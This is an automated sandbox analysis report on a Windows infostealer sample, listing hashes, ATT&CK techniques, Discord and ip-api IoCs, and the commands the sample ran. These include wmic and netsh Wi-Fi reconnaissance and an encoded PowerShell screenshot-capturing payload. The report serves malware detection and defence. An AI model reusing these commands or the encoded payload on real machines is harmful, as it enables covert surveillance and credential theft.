14bea45a91e363227b7da42c601342f681e18c121e73d037781b877107ad6d93

General

Target

2024090550ce0fafe706202dd0c7e16dda7d944fpoetratsnatch.exe
Size

9.6MB
MD5

50ce0fafe706202dd0c7e16dda7d944f
SHA1

fe793c1147c6353fa9e23a414859377373f15568
SHA256

14bea45a91e363227b7da42c601342f681e18c121e73d037781b877107ad6d93
SHA512

1dd6391a40baf16206b1dfd4cd6b83e194e642182adc183d3cff18ff1edad1541eac18d814cb2264619f5752ceef4211095d1dbc8941db3cde6a84119d3e6b87
SSDEEP

196608:thWVIBVKULThlN1BZWjdEi3FyfzEhvg5hGmrx11/AkfCaYlZQgslbyVmZDDEE:bW36p

Score

9^/10

credential_access defense_evasion discovery persistence privilege_escalation spyware stealer

Malware Config

Signatures

Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service
T1102

Processes:

flow ioc

2 discord.com
5 discord.com
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

8 ip-api.com
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

flow	ioc
2	discord.com
5	discord.com

flow	ioc
8	ip-api.com

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

Processes:

netsh.exe

description	ioc	process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
discovery

Wi-Fi Discovery
T1016.002

Processes:

netsh.exe

pid process

2036 netsh.exe
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.

System Information Discovery
T1082

Processes:

wmic.exe

pid process

2800 wmic.exe
GoLang User-Agent 1 IoCs
Uses default user-agent string defined by GoLang HTTP packages.

Processes:

description flow ioc

HTTP User-Agent header 12 Go-http-client/1.1

pid	process
2036	netsh.exe

pid	process
2800	wmic.exe

description	flow	ioc
HTTP User-Agent header	12	Go-http-client/1.1

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

Processes:

2024090550ce0fafe706202dd0c7e16dda7d944fpoetratsnatch.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8	2024090550ce0fafe706202dd0c7e16dda7d944fpoetratsnatch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	2024090550ce0fafe706202dd0c7e16dda7d944fpoetratsnatch.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827	2024090550ce0fafe706202dd0c7e16dda7d944fpoetratsnatch.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

2272 powershell.exe
2272 powershell.exe

pid	process
2272	powershell.exe
2272	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

wmic.exewmic.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	3428	wmic.exe
Token: SeSecurityPrivilege	3428	wmic.exe
Token: SeTakeOwnershipPrivilege	3428	wmic.exe
Token: SeLoadDriverPrivilege	3428	wmic.exe
Token: SeSystemProfilePrivilege	3428	wmic.exe
Token: SeSystemtimePrivilege	3428	wmic.exe
Token: SeProfSingleProcessPrivilege	3428	wmic.exe
Token: SeIncBasePriorityPrivilege	3428	wmic.exe
Token: SeCreatePagefilePrivilege	3428	wmic.exe
Token: SeBackupPrivilege	3428	wmic.exe
Token: SeRestorePrivilege	3428	wmic.exe
Token: SeShutdownPrivilege	3428	wmic.exe
Token: SeDebugPrivilege	3428	wmic.exe
Token: SeSystemEnvironmentPrivilege	3428	wmic.exe
Token: SeRemoteShutdownPrivilege	3428	wmic.exe
Token: SeUndockPrivilege	3428	wmic.exe
Token: SeManageVolumePrivilege	3428	wmic.exe
Token: 33	3428	wmic.exe
Token: 34	3428	wmic.exe
Token: 35	3428	wmic.exe
Token: 36	3428	wmic.exe
Token: SeIncreaseQuotaPrivilege	3428	wmic.exe
Token: SeSecurityPrivilege	3428	wmic.exe
Token: SeTakeOwnershipPrivilege	3428	wmic.exe
Token: SeLoadDriverPrivilege	3428	wmic.exe
Token: SeSystemProfilePrivilege	3428	wmic.exe
Token: SeSystemtimePrivilege	3428	wmic.exe
Token: SeProfSingleProcessPrivilege	3428	wmic.exe
Token: SeIncBasePriorityPrivilege	3428	wmic.exe
Token: SeCreatePagefilePrivilege	3428	wmic.exe
Token: SeBackupPrivilege	3428	wmic.exe
Token: SeRestorePrivilege	3428	wmic.exe
Token: SeShutdownPrivilege	3428	wmic.exe
Token: SeDebugPrivilege	3428	wmic.exe
Token: SeSystemEnvironmentPrivilege	3428	wmic.exe
Token: SeRemoteShutdownPrivilege	3428	wmic.exe
Token: SeUndockPrivilege	3428	wmic.exe
Token: SeManageVolumePrivilege	3428	wmic.exe
Token: 33	3428	wmic.exe
Token: 34	3428	wmic.exe
Token: 35	3428	wmic.exe
Token: 36	3428	wmic.exe
Token: SeIncreaseQuotaPrivilege	4892	wmic.exe
Token: SeSecurityPrivilege	4892	wmic.exe
Token: SeTakeOwnershipPrivilege	4892	wmic.exe
Token: SeLoadDriverPrivilege	4892	wmic.exe
Token: SeSystemProfilePrivilege	4892	wmic.exe
Token: SeSystemtimePrivilege	4892	wmic.exe
Token: SeProfSingleProcessPrivilege	4892	wmic.exe
Token: SeIncBasePriorityPrivilege	4892	wmic.exe
Token: SeCreatePagefilePrivilege	4892	wmic.exe
Token: SeBackupPrivilege	4892	wmic.exe
Token: SeRestorePrivilege	4892	wmic.exe
Token: SeShutdownPrivilege	4892	wmic.exe
Token: SeDebugPrivilege	4892	wmic.exe
Token: SeSystemEnvironmentPrivilege	4892	wmic.exe
Token: SeRemoteShutdownPrivilege	4892	wmic.exe
Token: SeUndockPrivilege	4892	wmic.exe
Token: SeManageVolumePrivilege	4892	wmic.exe
Token: 33	4892	wmic.exe
Token: 34	4892	wmic.exe
Token: 35	4892	wmic.exe
Token: 36	4892	wmic.exe
Token: SeIncreaseQuotaPrivilege	4892	wmic.exe

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

2024090550ce0fafe706202dd0c7e16dda7d944fpoetratsnatch.exepowershell.execsc.exe

description	pid	process	target process
PID 3172 wrote to memory of 3428	3172	2024090550ce0fafe706202dd0c7e16dda7d944fpoetratsnatch.exe	wmic.exe
PID 3172 wrote to memory of 3428	3172	2024090550ce0fafe706202dd0c7e16dda7d944fpoetratsnatch.exe	wmic.exe
PID 3172 wrote to memory of 4892	3172	2024090550ce0fafe706202dd0c7e16dda7d944fpoetratsnatch.exe	wmic.exe
PID 3172 wrote to memory of 4892	3172	2024090550ce0fafe706202dd0c7e16dda7d944fpoetratsnatch.exe	wmic.exe
PID 3172 wrote to memory of 2800	3172	2024090550ce0fafe706202dd0c7e16dda7d944fpoetratsnatch.exe	wmic.exe
PID 3172 wrote to memory of 2800	3172	2024090550ce0fafe706202dd0c7e16dda7d944fpoetratsnatch.exe	wmic.exe
PID 3172 wrote to memory of 4000	3172	2024090550ce0fafe706202dd0c7e16dda7d944fpoetratsnatch.exe	wmic.exe
PID 3172 wrote to memory of 4000	3172	2024090550ce0fafe706202dd0c7e16dda7d944fpoetratsnatch.exe	wmic.exe
PID 3172 wrote to memory of 2036	3172	2024090550ce0fafe706202dd0c7e16dda7d944fpoetratsnatch.exe	netsh.exe
PID 3172 wrote to memory of 2036	3172	2024090550ce0fafe706202dd0c7e16dda7d944fpoetratsnatch.exe	netsh.exe
PID 3172 wrote to memory of 2272	3172	2024090550ce0fafe706202dd0c7e16dda7d944fpoetratsnatch.exe	powershell.exe
PID 3172 wrote to memory of 2272	3172	2024090550ce0fafe706202dd0c7e16dda7d944fpoetratsnatch.exe	powershell.exe
PID 2272 wrote to memory of 3944	2272	powershell.exe	csc.exe
PID 2272 wrote to memory of 3944	2272	powershell.exe	csc.exe
PID 3944 wrote to memory of 3532	3944	csc.exe	cvtres.exe
PID 3944 wrote to memory of 3532	3944	csc.exe	cvtres.exe

C:\Users\Admin\AppData\Local\Temp\2024090550ce0fafe706202dd0c7e16dda7d944fpoetratsnatch.exe
"C:\Users\Admin\AppData\Local\Temp\2024090550ce0fafe706202dd0c7e16dda7d944fpoetratsnatch.exe"
1⤵
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:3172

C:\Windows\System32\Wbem\wmic.exe
wmic os get Caption
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3428

C:\Windows\System32\Wbem\wmic.exe
wmic cpu get Name
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4892

C:\Windows\System32\Wbem\wmic.exe
wmic path win32_VideoController get name
2⤵
- Detects videocard installed
PID:2800

C:\Windows\System32\Wbem\wmic.exe
wmic csproduct get UUID
2⤵
PID:4000

C:\Windows\system32\netsh.exe
netsh wlan show profiles
2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
PID:2036

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2272

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zvpkpxbx\zvpkpxbx.cmdline"
3⤵
- Suspicious use of WriteProcessMemory
PID:3944

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES7F13.tmp" "c:\Users\Admin\AppData\Local\Temp\zvpkpxbx\CSC32E43514B2848689418B0472C7D4F49.TMP"
4⤵
PID:3532

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Event Triggered Execution

1

T1546

Netsh Helper DLL

1

T1546.007

Privilege Escalation

Event Triggered Execution

1

T1546

Netsh Helper DLL

1

T1546.007

Defense Evasion

Modify Registry

1

T1112

Obfuscated Files or Information

1

T1027

Command Obfuscation

1

T1027.010

Subvert Trust Controls

1

T1553

Install Root Certificate

1

T1553.004

Credential Access

Credentials from Password Stores

1

T1555

Credentials from Web Browsers

1

T1555.003

Unsecured Credentials

4

T1552

Credentials In Files

4

T1552.001

Discovery

Browser Information Discovery

1

T1217

System Information Discovery

1

T1082

System Network Configuration Discovery

1

T1016

Wi-Fi Discovery

1

T1016.002

Lateral Movement

Collection

Data from Local System

3

T1005

Command and Control

Web Service

1

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Hdfuz8bZkx\Display (1).png
Filesize
212KB

MD5
48f0f8020daa046f6006916ac86f590f

SHA1
dc50749653a247ef9094496f771cdfeba239606d

SHA256
8c84b18c261cdf748dd12e25d5172024ebdf365aef03ea08a06db484fa4eea6d

SHA512
e4d1044269fa1102c467ade959ad4e6a94f5a447bbbfa68eb2b25c57cadf8e228f3405e233185ba22c9912512af84384ed85c1e431e4801b8734b6a7f7ab7eee

Download Submit
C:\Users\Admin\AppData\Local\Temp\RES7F13.tmp
Filesize
1KB

MD5
5e56da83679ac90853e09904c847f3aa

SHA1
f5c6cbe745f70c2b8dbee5456bb3e54925cf35d9

SHA256
3b87a87b5403aa03a63e5fa96d4f9237c08635baad60407112fa0ac3340034ba

SHA512
096e4605f47d275ac659f3dcad296c01907b63ff9d3636787677737a697855cfce8d034bd01ef985e393789f7622f55cf604eb188eefffa190f50c76aa6176d5

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_stshlcm1.sdz.psm1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\zvpkpxbx\zvpkpxbx.dll
Filesize
4KB

MD5
d5087623cd7166a230b551535318d34e

SHA1
83887286035e3f1e9263a81b72f80246e8869702

SHA256
5028033fd9797612b043da36a26d62993c5022d8805daac80ba57a746b821ede

SHA512
4b5c8012432a6d3af9e83e2f82396aea0ec83be49269af47309de6395bf705b5b73af5020975345ccd8e3e5c6bd0364d61d7acba7284bc313b6727ae55f6ec15

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\zvpkpxbx\CSC32E43514B2848689418B0472C7D4F49.TMP
Filesize
652B

MD5
f63c620d5b2b22b341c9bfdc8e8fad86

SHA1
8aaeb0ee19f0364ba3c64eecdc20c435a469d334

SHA256
2e1d59bc417af2459555f59de26181cef885c8530bceab4b318eb7540e1490f1

SHA512
c27ba85176fa5506e0dc25ef91fd2e724e189214a132acaf61435648d9194ca0dd9017ab054fe752695c171b50dd3a9b7c5cf644e09812aaa203e3b2bdfe1336

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\zvpkpxbx\zvpkpxbx.0.cs
Filesize
1004B

MD5
c76055a0388b713a1eabe16130684dc3

SHA1
ee11e84cf41d8a43340f7102e17660072906c402

SHA256
8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

SHA512
22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\zvpkpxbx\zvpkpxbx.cmdline
Filesize
607B

MD5
367b91f53c6993ae51b19cb819682697

SHA1
227d910f63e729311dfe9431387becbf8e110f29

SHA256
8c571fc69a0279f0ddf60826438fbb3dda7719ada77c67b7d767a3fa053e9435

SHA512
2039d9fe97ee2b29687981879e8368e84e418290d298d50030e9a266ba24a879825edbcef8d3b0e034ab6c978e95f0e4814b627024714922d62a70e4e1bef28c

Download Submit
memory/2272-19-0x000001A3ADEC0000-0x000001A3ADEE2000-memory.dmp

Filesize
136KB

Download
